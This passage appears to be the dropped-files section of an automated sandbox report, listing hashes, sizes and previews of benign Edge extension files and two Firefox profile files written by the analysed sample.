Preview:	{"createnew":{"message":"\u5efa\u7acb\u65b0\u9805\u76ee"},"explanationofflinedisabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\u3002\u5982\u8981\u5728\u6c92\u6709\u4e92\u806f\u7db2\u9023\u7dda\u7684\u60c5\u6cc1\u4e0b\u4f7f\u7528\u300cGoogle \u6587\u4ef6\u300d\uff0c\u8acb\u524d\u5f80\u300cGoogle \u6587\u4ef6\u300d\u9996\u9801\u7684\u8a2d\u5b9a\uff0c\u4e26\u5728\u4e0b\u6b21\u9023\u63a5\u4e92\u806f\u7db2\u6642\u958b\u555f\u96e2\u7dda\u540c\u6b65\u529f\u80fd\u3002"},"explanationofflineenabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\uff0c\u4f46\u60a8\u4ecd\u53ef\u4ee5\u7de8\u8f2f\u53ef\u7528\u6a94\u6848\u6216\u5efa\u7acb\u65b0\u6a94\u6848\u3002"},"extdesc":{"message":"\u7de8\u8f2f\u3001\u5efa\u7acb\u53ca\u67e5\u770b\u60a8\u7684\u6587\u4ef6\u3001\u8a66\u7b97\u8868\u548c\u7c21\u5831\uff0c\u5b8c\u5168\u4e0d\u9700\u4f7f\u7528\u4e92\u806f\u7db2\u3002"},"extname":{"message":"\u300cGoogle \u6587\u4ef6\u300d\u96e2\u7dda\u7248"},"learnmore":{"message":"\u77ad\u89e3\u8a

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1136156612\CRX_INSTALL\_locales\zh_TW\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	843
Entropy (8bit):	5.76581227215314
Encrypted:	false
SSDEEP:	12:1HASvgmaCBxNtBtA24ZOuAeOEHGOCBxetBtMHQIJECSUnLRNocPNy6CBhU5OGg1O:1HAEfQkekYyLvRmcPGgzcL2kx5U
MD5:	0E60627ACFD18F44D4DF469D8DCE6D30
SHA1:	2BFCB0C3CA6B50D69AD5745FA692BAF0708DB4B5
SHA-256:	F94C6DDEDF067642A1AF18D629778EC65E02B6097A8532B7E794502747AEB008
SHA-512:	6FF517EED4381A61075AC7C8E80C73FAFAE7C0583BA4FA7F4951DD7DBE183C253702DEE44B3276EFC566F295DAC1592271BE5E0AC0C7D2C9F6062054418C7C27
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".....".. },.. "explanationofflinedisabled": {.. "message": ".................. Google ................ Google .................".. },.. "explanationofflineenabled": {.. "message": ".........................".. },.. "extdesc": {.. "message": ".............................".. },.. "extname": {.. "message": "Google .....".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "................................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1136156612\CRX_INSTALL\_locales\zu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	912
Entropy (8bit):	4.65963951143349
Encrypted:	false
SSDEEP:	24:YlMBKqLnI7EgBLWFQbTQIF+j4h3OadMJzLWnCieqgwLeOvKrCRPE:YlMBKqjI7EQOQb0Pj4heOWqeyaBrMPE
MD5:	71F916A64F98B6D1B5D1F62D297FDEC1
SHA1:	9386E8F723C3F42DA5B3F7E0B9970D2664EA0BAA
SHA-256:	EC78DDD4CCF32B5D76EC701A20167C3FBD146D79A505E4FB0421FC1E5CF4AA63
SHA-512:	30FA4E02120AF1BE6E7CC7DBB15FAE5D50825BD6B3CF28EF21D2F2E217B14AF5B76CFCC165685C3EDC1D09536BFCB10CA07E1E2CC0DA891CEC05E19394AD7144
Malicious:	false
Preview:	{"createnew":{"message":"DALA ENTSHA"},"explanationofflinedisabled":{"message":"Awuxhunyiwe ku-inthanethi. Ukuze usebenzise i-Google Amadokhumenti ngaphandle koxhumano lwe-inthanethi, iya kokuthi izilungiselelo ekhasini lasekhaya le-Google Amadokhumenti bese uvula ukuvumelanisa okungaxhunyiwe ku-inthanethi ngesikhathi esilandelayo lapho uxhunywe ku-inthanethi."},"explanationofflineenabled":{"message":"Awuxhunyiwe ku-inthanethi, kodwa usangakwazi ukuhlela amafayela atholakalayo noma udale amasha."},"extdesc":{"message":"Hlela, dala, futhi ubuke amadokhumenti akho, amaspredishithi, namaphrezentheshini \u2014 konke ngaphandle kokufinyelela kwe-inthanethi."},"extname":{"message":"I-Google Amadokhumenti engaxhumekile ku-intanethi"},"learnmore":{"message":"Funda kabanzi"},"popuphelptext":{"message":"Bhala, hlela, futhi hlanganyela noma yikuphi lapho okhona, unalo noma ungenalo uxhumano lwe-inthanethi."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1136156612\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	11280
Entropy (8bit):	5.752941882424501
Encrypted:	false
SSDEEP:	192:RBG1G1UPkUj/86Op//Ier/2nsNLJtwg+K8HNnswuHEIIMuuqd7CKqvVpfcNLFev:m8IEI4u8ROxev
MD5:	F897300492E3AB467E56883D23D02D77
SHA1:	DECD6DC9E70ECCF9B45983147680614C019B99EA
SHA-256:	F9B3A5747DEDCB5AED58FCFC0F4FD3BD2F2E903F2CCEF90A92A73DBC0F8C3DBD
SHA-512:	B8AC574E24814BAF04A264E7F3F00B4285CD7B66104DFC77897440A898FCA5230775300EC7DEF723678975A04C2CD1BC73A44F77DA26262E8704029930990C62
Malicious:	false
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiIxMjgucG5nIiwicm9vdF9oYXNoIjoiZ2NWZy0xWWgySktRNVFtUmtjZGNmamU1dzVIc1JNN1ZCTmJyaHJ4eGZ5ZyJ9LHsicGF0aCI6Il9sb2NhbGVzL2FmL21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJxaElnV3hDSFVNLWZvSmVFWWFiWWlCNU9nTm9ncUViWUpOcEFhZG5KR0VjIn0seyJwYXRoIjoiX2xvY2FsZXMvYW0vbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IlpPQWJ3cEs2THFGcGxYYjh4RVUyY0VkU0R1aVY0cERNN2lEQ1RKTTIyTzgifSx7InBhdGgiOiJfbG9jYWxlcy9hci9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiUjJVaEZjdTVFcEJfUUZtU19QeGstWWRrSVZqd3l6WEoxdURVZEMyRE9BSSJ9LHsicGF0aCI6Il9sb2NhbGVzL2F6L21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJZVVJ3Mmp4UU5Lem1TZkY0YS1xcTBzbFBSSFc4eUlXRGtMY2g4Ry0zdjJRIn0seyJwYXRoIjoiX2xvY2FsZXMvYmUvbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IjNmRm9XYUZmUHJNelRXSkJsMXlqbUlyRDZ2dzlsa1VxdzZTdjAyUk1oVkEifSx7InBhdGgiOiJfbG9jYWxlcy9iZy9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiSXJ3M3RIem9xREx6bHdGa0hjTllOWFoyNmI0WWVwT2t4ZFN

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1136156612\CRX_INSTALL\dasherSettingSchema.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	854
Entropy (8bit):	4.284628987131403
Encrypted:	false
SSDEEP:	12:ont+QByTwnnGNcMbyWM+Q9TZldnnnGGxlF/S0WOtUL0M0r:vOrGe4dDCVGOjWJ0nr
MD5:	4EC1DF2DA46182103D2FFC3B92D20CA5
SHA1:	FB9D1BA3710CF31A87165317C6EDC110E98994CE
SHA-256:	6C69CE0FE6FAB14F1990A320D704FEE362C175C00EB6C9224AA6F41108918CA6
SHA-512:	939D81E6A82B10FF73A35C931052D8D53D42D915E526665079EEB4820DF4D70F1C6AEBAB70B59519A0014A48514833FEFD687D5A3ED1B06482223A168292105D
Malicious:	false
Preview:	{. "type": "object",. "properties": {. "allowedDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Allow users to enable Docs offline for the specified managed domains.",. "description": "Users on managed devices will be able to enable docs offline if they are part of the specified managed domains.". },. "autoEnabledDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Auto enable Docs offline for the specified managed domains in certain eligible situations.",. "description": "Users on managed devices, in certain eligible situations, will be able to automatically access and edit recent files offline for the managed domains set in this property. They can still disable it from Drive settings.". }. }.}.

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1136156612\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2525
Entropy (8bit):	5.417781191647272
Encrypted:	false
SSDEEP:	24:1HEZ4WPoolELb/KxktGw3VwELb/4iL2QDkUpvdz1xxy/Atj1H9yiVvQe:WdP5aLTKQGwlTLT4oRvvxs/APHgiVb
MD5:	35068E2550395A8A3E74558F2F4658DA
SHA1:	BD6620054059BFB7A27A4FFF86B9966727F2C2B9
SHA-256:	E2F418C816895E830541F48C0406B9398805E88B61A4EC816244154CD793743C
SHA-512:	4BCB971D7353648ABF25ACA7A4A4771F62BBB76F8FC13BDE886F29826D9314F5101942492004FC719493604D317958B63A95CF5173F8180214F27D6BEA303F97
Malicious:	false
Preview:	{.. "author": {.. "email": "docs-hosted-app-own@google.com".. },.. "background": {.. "service_worker": "service_worker_bin_prod.js".. },.. "content_capabilities": {.. "matches": [ "https://docs.google.com/", "https://drive.google.com/", "https://drive-autopush.corp.google.com/", "https://drive-daily-0.corp.google.com/", "https://drive-daily-1.corp.google.com/", "https://drive-daily-2.corp.google.com/", "https://drive-daily-3.corp.google.com/", "https://drive-daily-4.corp.google.com/", "https://drive-daily-5.corp.google.com/", "https://drive-daily-6.corp.google.com/", "https://drive-preprod.corp.google.com/", "https://drive-staging.corp.google.com/" ],.. "permissions": [ "clipboardRead", "clipboardWrite", "unlimitedStorage" ].. },.. "content_security_policy": {.. "extension_pages": "script-src 'self'; object-src 'self'".. },.. "default_locale": "en_US",.. "description": "__MSG_extDesc__",.. "externally_connectable": {.. "ma

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1136156612\CRX_INSTALL\offscreendocument.html

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	97
Entropy (8bit):	4.862433271815736
Encrypted:	false
SSDEEP:	3:PouV7uJL5XL/oGLvLAAJR90bZNGXIL0Hac4NGb:hxuJL5XsOv0EmNV4HX4Qb
MD5:	B747B5922A0BC74BBF0A9BC59DF7685F
SHA1:	7BF124B0BE8EE2CFCD2506C1C6FFC74D1650108C
SHA-256:	B9FA2D52A4FFABB438B56184131B893B04655B01F336066415D4FE839EFE64E7
SHA-512:	7567761BE4054FCB31885E16D119CD4E419A423FFB83C3B3ED80BFBF64E78A73C2E97AAE4E24AB25486CD1E43877842DB0836DB58FBFBCEF495BC53F9B2A20EC
Malicious:	false
Preview:	<!DOCTYPE html>.<html>.<body>. <script src="offscreendocument_main.js"></script>.</body>.</html>

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1136156612\CRX_INSTALL\offscreendocument_main.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3700)
Category:	dropped
Size (bytes):	95606
Entropy (8bit):	5.405749379350638
Encrypted:	false
SSDEEP:	1536:rFTnpa+88KmEfryTdXPVy0d8RZZ0Qk4CWbsnf29Gmyj9tIRRduRnCrl:almPXPVCFCWbsnDVQRwF0l
MD5:	9D0EF4F7CB0306DCB7A7CDCD6DC2CCC7
SHA1:	88D7F0A88C5807BFE00F13B612CC0522EEBE514A
SHA-256:	E5E4392B21A21ECAFD27707BF70F95961B2656735A20B40BA54479D40EAB063C
SHA-512:	34CD9AF9199DE606A531E98DB82BEAA5552E59BCCB2AB2BF49F82D6FA05425EB6936BC5F03BFC421AB6980B91395D9FDC5F0776882E1D49B3217CD35641FF906
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function l(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1136156612\CRX_INSTALL\page_embed_script.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	4.65176400421739
Encrypted:	false
SSDEEP:	6:2LGX86tj66rU8j6D3bWq2un/XBtzHrH9Mnj63LK603:2Q8KVqb2u/Rt3Onj1
MD5:	3AB0CD0F493B1B185B42AD38AE2DD572
SHA1:	079B79C2ED6F67B5A5BD9BC8C85801F96B1B0F4B
SHA-256:	73E3888CCBC8E0425C3D2F8D1E6A7211F7910800EEDE7B1E23AD43D3B21173F7
SHA-512:	32F9DB54654F29F39D49F7A24A1FC800DBC0D4A8A1BAB2369C6F9799BC6ADE54962EFF6010EF6D6419AE51D5B53EC4B26B6E2CDD98DEF7CC0D2ADC3A865F37D3
Malicious:	false
Preview:	(function(){window._docs_chrome_extension_exists=!0;window._docs_chrome_extension_features_version=2;window._docs_chrome_extension_permissions="alarms clipboardRead clipboardWrite storage unlimitedStorage offscreen".split(" ");window._docs_chrome_extension_manifest_version=3;}).call(this);.

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1136156612\CRX_INSTALL\service_worker_bin_prod.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3705)
Category:	dropped
Size (bytes):	104595
Entropy (8bit):	5.385879258644142
Encrypted:	false
SSDEEP:	1536:CvBfoqPByzpq7Wj3X5GtH2n4JvHDxwKMpFs0vuFfkR/2oTnHu96Iny0Kj2ThzfS:BlXQtoZrs0vskDTHu9rhTS
MD5:	4E0C47897BF98DEAC56F800942E150C4
SHA1:	7903D30E0ACEE273724BDAA67446D9FD4E8460A5
SHA-256:	FE76EA0C2F81E6140F38F4143B40BE85014B93FF80737600CFB39AEB5C8C6537
SHA-512:	8B31463FC683439BAB5D4AEFE2BE0F6A9F5B695C2D95AFF3F842BFC74B10AE3D386D288121161506F74A08FB86D25C1096DA4177B768254BF84E83983982640F
Malicious:	false
Preview:	'use strict';function aa(){return function(){}}function k(a){return function(){return this[a]}}function ba(a){return function(){return a}}var n;function ca(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var da=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function ea(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=ea(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&da(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new TypeError("Symbol is not a constructor");retu

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1474073023\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	5.8889033066924155
Encrypted:	false
SSDEEP:	48:Pxpr7Xka2NXDpfsBJODI19Kg1JqcJW9O//JE3ZBDcpu/x:L3XgNSz9/4kIO3u3Xgpq
MD5:	738E757B92939B24CDBBD0EFC2601315
SHA1:	77058CBAFA625AAFBEA867052136C11AD3332143
SHA-256:	D23B2BA94BA22BBB681E6362AE5870ACD8A3280FA9E7241B86A9E12982968947
SHA-512:	DCA3E12DD5A9F1802DB6D11B009FCE2B787E79B9F730094367C9F26D1D87AF1EA072FF5B10888648FB1231DD83475CF45594BB0C9915B655EE363A3127A5FFC2
Malicious:	false
Preview:	[.. {.. "description": "treehash per file",.. "signed_content": {.. "payload": "eyJpdGVtX2lkIjoiam1qZmxnanBjcGVwZWFmbW1nZHBma29na2doY3BpaGEiLCJpdGVtX3ZlcnNpb24iOiIxLjIuMSIsInByb3RvY29sX3ZlcnNpb24iOjEsImNvbnRlbnRfaGFzaGVzIjpbeyJmb3JtYXQiOiJ0cmVlaGFzaCIsImRpZ2VzdCI6InNoYTI1NiIsImJsb2NrX3NpemUiOjQwOTYsImhhc2hfYmxvY2tfc2l6ZSI6NDA5NiwiZmlsZXMiOlt7InBhdGgiOiJjb250ZW50LmpzIiwicm9vdF9oYXNoIjoiQS13R1JtV0VpM1lybmxQNktneUdrVWJ5Q0FoTG9JZnRRZGtHUnBEcnp1QSJ9LHsicGF0aCI6ImNvbnRlbnRfbmV3LmpzIiwicm9vdF9oYXNoIjoiVU00WVRBMHc5NFlqSHVzVVJaVTFlU2FBSjFXVENKcHhHQUtXMGxhcDIzUSJ9LHsicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiJKNXYwVTkwRmN0ejBveWJMZmZuNm5TbHFLU0h2bHF2YkdWYW9FeWFOZU1zIn1dfV19",.. "signatures": [.. {.. "header": {.. "kid": "publisher".. },.. "protected": "eyJhbGciOiJSUzI1NiJ9",.. "signature": "UglEEilkOml5P1W0X6wc-_dB87PQB73uMir11923av57zPKujb4IUe_lbGpn7cRZsy6x-8i9eEKxAW7L2TSmYqrcp4XtiON6ppcf27FWACXOUJDax9wlMr-EOtyZhykCnB9vR

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1474073023\CRX_INSTALL\content.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8031), with no line terminators
Category:	dropped
Size (bytes):	9815
Entropy (8bit):	6.1716321262973315
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3zEScQZBMX:+ThBVq3npozftROQIyVfjRZGB365Ey97
MD5:	3D20584F7F6C8EAC79E17CCA4207FB79
SHA1:	3C16DCC27AE52431C8CDD92FBAAB0341524D3092
SHA-256:	0D40A5153CB66B5BDE64906CA3AE750494098F68AD0B4D091256939EEA243643
SHA-512:	315D1B4CC2E70C72D7EB7D51E0F304F6E64AC13AE301FD2E46D585243A6C936B2AD35A0964745D291AE9B317C316A29760B9B9782C88CC6A68599DB531F87D59
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1474073023\CRX_INSTALL\content_new.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8604), with no line terminators
Category:	dropped
Size (bytes):	10388
Entropy (8bit):	6.174387413738973
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
MD5:	3DE1E7D989C232FC1B58F4E32DE15D64
SHA1:	42B152EA7E7F31A964914F344543B8BF14B5F558
SHA-256:	D4AA4602A1590A4B8A1BCE8B8D670264C9FB532ADC97A72BC10C43343650385A
SHA-512:	177E5BDF3A1149B0229B6297BAF7B122602F7BD753F96AA41CCF2D15B2BCF6AF368A39BB20336CCCE121645EC097F6BEDB94666C74ACB6174EB728FBFC43BC2A
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1474073023\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	962
Entropy (8bit):	5.698567446030411
Encrypted:	false
SSDEEP:	24:1Hg9+D3DRnbuF2+sUrzUu+Y9VwE+Fg41T1O:NBqY+6E+F7JO
MD5:	E805E9E69FD6ECDCA65136957B1FB3BE
SHA1:	2356F60884130C86A45D4B232A26062C7830E622
SHA-256:	5694C91F7D165C6F25DAF0825C18B373B0A81EA122C89DA60438CD487455FD6A
SHA-512:	049662EF470D2B9E030A06006894041AE6F787449E4AB1FBF4959ADCB88C6BB87A957490212697815BB3627763C01B7B243CF4E3C4620173A95795884D998A75
Malicious:	false
Preview:	{.. "content_scripts": [ {.. "js": [ "content.js" ],.. "matches": [ "https://chrome.google.com/webstore/" ].. }, {.. "js": [ "content_new.js" ],.. "matches": [ "https://chromewebstore.google.com/" ].. } ],.. "description": "Edge relevant text changes on select websites to improve user experience and precisely surfaces the action they want to take.",.. "key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu06p2Mjoy6yJDUUjCe8Hnqvtmjll73XqcbylxFZZWe+MCEAEK+1D0Nxrp0+IuWJL02CU3jbuR5KrJYoezA36M1oSGY5lIF/9NhXWEx5GrosxcBjxqEsdWv/eDoOOEbIvIO0ziMv7T1SUnmAA07wwq8DXWYuwlkZU/PA0Mxx0aNZ5+QyMfYqRmMpwxkwPG8gyU7kmacxgCY1v7PmmZo1vSIEOBYrxl064w5Q6s/dpalSJM9qeRnvRMLsszGY/J2bjQ1F0O2JfIlBjCOUg/89+U8ZJ1mObOFrKO4um8QnenXtH0WGmsvb5qBNrvbWNPuFgr2+w5JYlpSQ+O8zUCb8QZwIDAQAB",.. "manifest_version": 3,.. "name": "Edge relevant text changes",.. "update_url": "https://edge.microsoft.com/extensionwebstorebase/v1/crx",.. "version": "1.2.1"..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1474073023\b4e6b7f5-e049-47b4-a523-e66504073b5c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 457

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5162), with no line terminators
Category:	downloaded
Size (bytes):	5162
Entropy (8bit):	5.3503139230837595
Encrypted:	false
SSDEEP:	96:lXTMb1db1hNY/cobkcsidqg3gcIOnAg8IF8uM8DvY:lXT0TGKiqggdaAg8IF8uM8DA
MD5:	7977D5A9F0D7D67DE08DECF635B4B519
SHA1:	4A66E5FC1143241897F407CEB5C08C36767726C1
SHA-256:	FE8B69B644EDDE569DD7D7BC194434C57BCDF60280078E9F96EEAA5489C01F9D
SHA-512:	8547AE6ACA1A9D74A70BF27E048AD4B26B2DC74525F8B70D631DA3940232227B596D56AB9807E2DCE96B0F5984E7993F480A35449F66EEFCF791A7428C5D0567
Malicious:	false
